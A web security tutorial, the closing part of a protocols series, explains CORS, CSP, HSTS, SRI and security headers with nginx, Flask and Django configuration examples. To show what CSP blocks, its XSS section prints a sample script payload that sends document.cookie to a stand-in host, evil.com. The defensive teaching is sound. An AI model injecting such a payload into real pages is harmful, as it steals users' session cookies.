Back to Technology

Complete Protocols Master Part 20: Web Security Standards

January 31, 2026 Wasil Zafar 42 min read

Defend your web applications with CORS, CSP, HSTS, SRI, and essential security headers. Prevent XSS, clickjacking, and data theft.

Table of Contents

  1. Introduction
  2. CORS
  3. Content Security Policy
  4. HSTS
  5. Subresource Integrity
  6. Security Headers
  7. Summary

Introduction: Browser Security

Browsers are hostile environments—attackers inject scripts, steal cookies, and hijack sessions. Web security standards are your defense.

Series Finale: This is Part 20 of 20 in the Complete Protocols Master series. Congratulations on reaching the final chapter!
Threats

What We're Defending Against

Web Security Threats:

1. CROSS-SITE SCRIPTING (XSS)
   Attacker injects malicious script
   Script runs in victim's browser
   Steals cookies, sessions, data
   
2. CROSS-SITE REQUEST FORGERY (CSRF)
   Tricks user into unwanted actions
   Uses user's authenticated session
   
3. CLICKJACKING
   Invisible iframe over legitimate UI
   User clicks hidden malicious button
   
4. DATA THEFT
   Insecure scripts from CDNs
   Man-in-the-middle attacks
   
5. COOKIE THEFT
   Session hijacking
   Cross-site cookie access

Security Headers Defense:
┌─────────────────────────────────────┐
│ CSP     → Prevents XSS             │
│ CORS    → Controls cross-origin    │
│ HSTS    → Forces HTTPS             │
│ SRI     → Validates scripts        │
│ X-Frame → Prevents clickjacking    │
└─────────────────────────────────────┘

CORS (Cross-Origin Resource Sharing)

CORS controls which domains can access your API from browser JavaScript. By default, browsers block cross-origin requests (Same-Origin Policy).

Simple Analogy: CORS is like a bouncer checking IDs. Your server tells the browser "requests from these domains are allowed in."
Same-Origin

Same-Origin Policy

Same-Origin Policy:

Origin = scheme + host + port

https://example.com:443/path
│        │           │
scheme   host        port

Same Origin:
https://example.com/page1 → https://example.com/page2 ✅

Different Origin:
https://example.com → https://api.example.com ❌ (different host)
https://example.com → http://example.com ❌ (different scheme)
https://example.com → https://example.com:8080 ❌ (different port)

Without CORS:
fetch('https://api.example.com/data')
// ❌ Blocked by browser

With CORS:
Server responds with:
Access-Control-Allow-Origin: https://example.com
// ✅ Browser allows response
# CORS Headers

# Simple request (GET, POST with simple content-type)
Access-Control-Allow-Origin: https://example.com
# Or allow all origins (dangerous!)
Access-Control-Allow-Origin: *

# Preflight request (OPTIONS) for complex requests
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400  # Cache preflight for 24 hours

# Allow credentials (cookies)
Access-Control-Allow-Credentials: true
# Note: Cannot use * with credentials

# Expose custom headers to JavaScript
Access-Control-Expose-Headers: X-Custom-Header, X-Request-Id
# CORS in Flask

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)

# Basic: Allow all origins (development only!)
CORS(app)

# Production: Specific origins
CORS(app, origins=[
    'https://example.com',
    'https://app.example.com'
])

# Fine-grained control
CORS(app, resources={
    r"/api/*": {
        "origins": ["https://example.com"],
        "methods": ["GET", "POST", "PUT", "DELETE"],
        "allow_headers": ["Content-Type", "Authorization"],
        "supports_credentials": True,
        "max_age": 3600
    }
})

@app.route('/api/data')
def get_data():
    return {"message": "CORS-enabled response"}

# Manual CORS headers
@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    allowed_origins = ['https://example.com', 'https://app.example.com']
    
    if origin in allowed_origins:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    
    return response
Preflight

Preflight Requests

Preflight Flow:

Browser                                API Server
   │                                        │
   │─── OPTIONS /api/data ─────────────────>│
   │    Origin: https://app.com             │
   │    Access-Control-Request-Method: PUT  │
   │    Access-Control-Request-Headers:     │
   │        Authorization                   │
   │                                        │
   │<── 204 No Content ────────────────────│
   │    Access-Control-Allow-Origin:        │
   │        https://app.com                 │
   │    Access-Control-Allow-Methods:       │
   │        GET, PUT, DELETE                │
   │    Access-Control-Allow-Headers:       │
   │        Authorization                   │
   │    Access-Control-Max-Age: 86400       │
   │                                        │
   │─── PUT /api/data ─────────────────────>│
   │    Origin: https://app.com             │
   │    Authorization: Bearer token         │
   │                                        │
   │<── 200 OK ────────────────────────────│
   │    Access-Control-Allow-Origin:        │
   │        https://app.com                 │

Triggers Preflight:
• Methods: PUT, DELETE, PATCH
• Headers: Authorization, custom headers
• Content-Type: application/json

Content Security Policy (CSP)

CSP tells browsers what content sources are allowed. It's the strongest defense against XSS attacks.

XSS

XSS Attack Example

Without CSP (vulnerable):

User submits comment:
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

Browser executes it!
Attacker steals session cookie.

With CSP:
Content-Security-Policy: script-src 'self'

Browser refuses to execute inline script!
Attack blocked.
# CSP Directives

# Where scripts can load from
script-src 'self' https://cdn.example.com;

# Where styles can load from
style-src 'self' 'unsafe-inline';

# Where images can load from
img-src 'self' data: https:;

# Where fonts can load from
font-src 'self' https://fonts.gstatic.com;

# Where fetch/XHR can connect
connect-src 'self' https://api.example.com;

# Where frames can load from
frame-src 'self' https://youtube.com;

# Default for unspecified directives
default-src 'self';

# Report violations (don't block)
Content-Security-Policy-Report-Only: default-src 'self';
report-uri /csp-report;
# Full CSP Example

Content-Security-Policy:
    default-src 'self';
    script-src 'self' https://cdn.jsdelivr.net 'nonce-abc123';
    style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-violation-report;

# In HTML (using nonce):
<script nonce="abc123">
  // This script runs because nonce matches
</script>

<script>
  // Blocked! No nonce
</script>
# CSP in Flask/Django

# Flask
from flask import Flask

app = Flask(__name__)

@app.after_request
def add_csp(response):
    import secrets
    nonce = secrets.token_urlsafe(16)
    
    csp = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
        f"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
        f"img-src 'self' data: https:; "
        f"connect-src 'self' https://api.example.com; "
        f"frame-ancestors 'none'; "
        f"base-uri 'self';"
    )
    
    response.headers['Content-Security-Policy'] = csp
    return response

# Django settings.py
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'", "https://cdn.jsdelivr.net")
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_FRAME_ANCESTORS = ("'none'",)

HSTS (HTTP Strict Transport Security)

HSTS forces browsers to use HTTPS only. Prevents SSL stripping attacks and accidental HTTP connections.

Attack

SSL Stripping Attack

Without HSTS:

User types: example.com
Browser requests: http://example.com
Server redirects: https://example.com

Man-in-the-middle attack:
User ─────HTTP────> Attacker ─────HTTPS────> Server
          ↑
     Intercepts credentials!

With HSTS:
Browser knows to use HTTPS directly
Never sends HTTP request
Attack impossible
# HSTS Header

# Basic (1 year)
Strict-Transport-Security: max-age=31536000

# Include subdomains
Strict-Transport-Security: max-age=31536000; includeSubDomains

# Preload list (permanent HTTPS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Submit to preload list: https://hstspreload.org/

# Important: max-age requirements
# • max-age >= 1 year for preload
# • includeSubDomains required for preload
# • All subdomains must support HTTPS
# HSTS in nginx and application

# nginx
server {
    listen 443 ssl;
    
    add_header Strict-Transport-Security 
        "max-age=31536000; includeSubDomains; preload" 
        always;
}

# Flask
@app.after_request
def add_hsts(response):
    response.headers['Strict-Transport-Security'] = \
        'max-age=31536000; includeSubDomains; preload'
    return response

# Django settings.py
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

SRI (Subresource Integrity)

SRI ensures external scripts/styles haven't been tampered with. Browser verifies hash before executing.

Attack

CDN Compromise Attack

Without SRI:

<script src="https://cdn.example.com/lib.js"></script>

If CDN is compromised:
Attacker modifies lib.js
All sites using it are compromised!

With SRI:

<script 
    src="https://cdn.example.com/lib.js"
    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
    crossorigin="anonymous">
</script>

Browser calculates hash of downloaded file
Compares with integrity attribute
Mismatch → Script blocked!
# Generate SRI Hash

# Using OpenSSL
cat bootstrap.min.js | openssl dgst -sha384 -binary | openssl base64 -A

# Using shasum
shasum -b -a 384 bootstrap.min.js | cut -d' ' -f1 | xxd -r -p | base64

# Using online generator
# https://www.srihash.org/

# Output format
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxANV7...
# SRI in HTML

<!-- Bootstrap CSS with SRI -->
<link
    href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
    rel="stylesheet"
    integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7gy/lpif..."
    crossorigin="anonymous">

<!-- jQuery with SRI -->
<script
    src="https://code.jquery.com/jquery-3.7.1.min.js"
    integrity="sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju..."
    crossorigin="anonymous">
</script>

<!-- crossorigin="anonymous" required for SRI -->
<!-- Server must send CORS headers -->

Essential Security Headers

Complete

Security Headers Checklist

HeaderPurposeValue
X-Content-Type-OptionsPrevent MIME sniffingnosniff
X-Frame-OptionsPrevent clickjackingDENY or SAMEORIGIN
X-XSS-ProtectionLegacy XSS filter0 (disable, use CSP)
Referrer-PolicyControl referrer infostrict-origin-when-cross-origin
Permissions-PolicyControl browser featuresgeolocation=(), camera=()
# nginx security headers

server {
    # Prevent clickjacking
    add_header X-Frame-Options "DENY" always;
    
    # Prevent MIME sniffing
    add_header X-Content-Type-Options "nosniff" always;
    
    # Disable XSS filter (use CSP instead)
    add_header X-XSS-Protection "0" always;
    
    # Control referrer
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    
    # Feature policy
    add_header Permissions-Policy "geolocation=(), camera=(), microphone=()" always;
    
    # HSTS
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    
    # CSP
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
}
# Complete security headers in Python

from flask import Flask

app = Flask(__name__)

@app.after_request
def add_security_headers(response):
    # Clickjacking protection
    response.headers['X-Frame-Options'] = 'DENY'
    
    # MIME sniffing protection
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    # XSS filter (disabled, use CSP)
    response.headers['X-XSS-Protection'] = '0'
    
    # Referrer policy
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    
    # Permissions policy
    response.headers['Permissions-Policy'] = (
        'geolocation=(), camera=(), microphone=(), usb=()'
    )
    
    # HSTS
    response.headers['Strict-Transport-Security'] = (
        'max-age=31536000; includeSubDomains; preload'
    )
    
    # Content Security Policy
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' https://cdn.jsdelivr.net; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data: https:; "
        "frame-ancestors 'none';"
    )
    
    return response

if __name__ == '__main__':
    app.run()
# Test your security headers

# Using curl
curl -I https://example.com | grep -i "security\|policy\|frame\|content"

# Using securityheaders.com
# https://securityheaders.com/?q=example.com

# Mozilla Observatory
# https://observatory.mozilla.org/

# Expected Grade: A+ with all headers

Series Complete!

Congratulations! You've completed all 20 parts of the Complete Protocols Master series. You now understand networking from bits to web security.
Review

Series Journey Recap

Complete Protocols Master - 20 Parts:

Physical & Data Link:
├── Part 1: Networking Fundamentals
├── Part 2: Physical Layer & Cables
└── Part 3: Data Link & MAC Addresses

Network Layer:
├── Part 4: IP Addressing & Subnetting
├── Part 5: Routing Protocols
└── Part 6: ICMP & Network Diagnostics

Transport Layer:
├── Part 7: TCP Deep Dive
├── Part 8: UDP & Real-Time
└── Part 9: Socket Programming

Application Protocols:
├── Part 10: DNS
├── Part 11: HTTP/HTTPS
├── Part 12: Email (SMTP, IMAP)
└── Part 13: File Transfer (FTP, SFTP)

Security & Advanced:
├── Part 14: VPN & Tunneling
├── Part 15: Authentication
├── Part 16: Network Management
├── Part 17: Security Protocols
├── Part 18: Cloud Protocols
├── Part 19: Emerging (QUIC/HTTP/3)
└── Part 20: Web Security Standards ← You Are Here!
Part 20 Key Takeaways:
  • CORS: Control cross-origin API access
  • CSP: Prevent XSS with content restrictions
  • HSTS: Force HTTPS, prevent SSL stripping
  • SRI: Verify CDN script integrity
  • Security Headers: Defense in depth
Quiz

Final Quiz

  1. CORS preflight method? (OPTIONS)
  2. CSP directive for scripts? (script-src)
  3. HSTS preload requirement? (includeSubDomains, 1 year max-age)
  4. SRI hash algorithm? (sha384 commonly)
  5. Clickjacking header? (X-Frame-Options)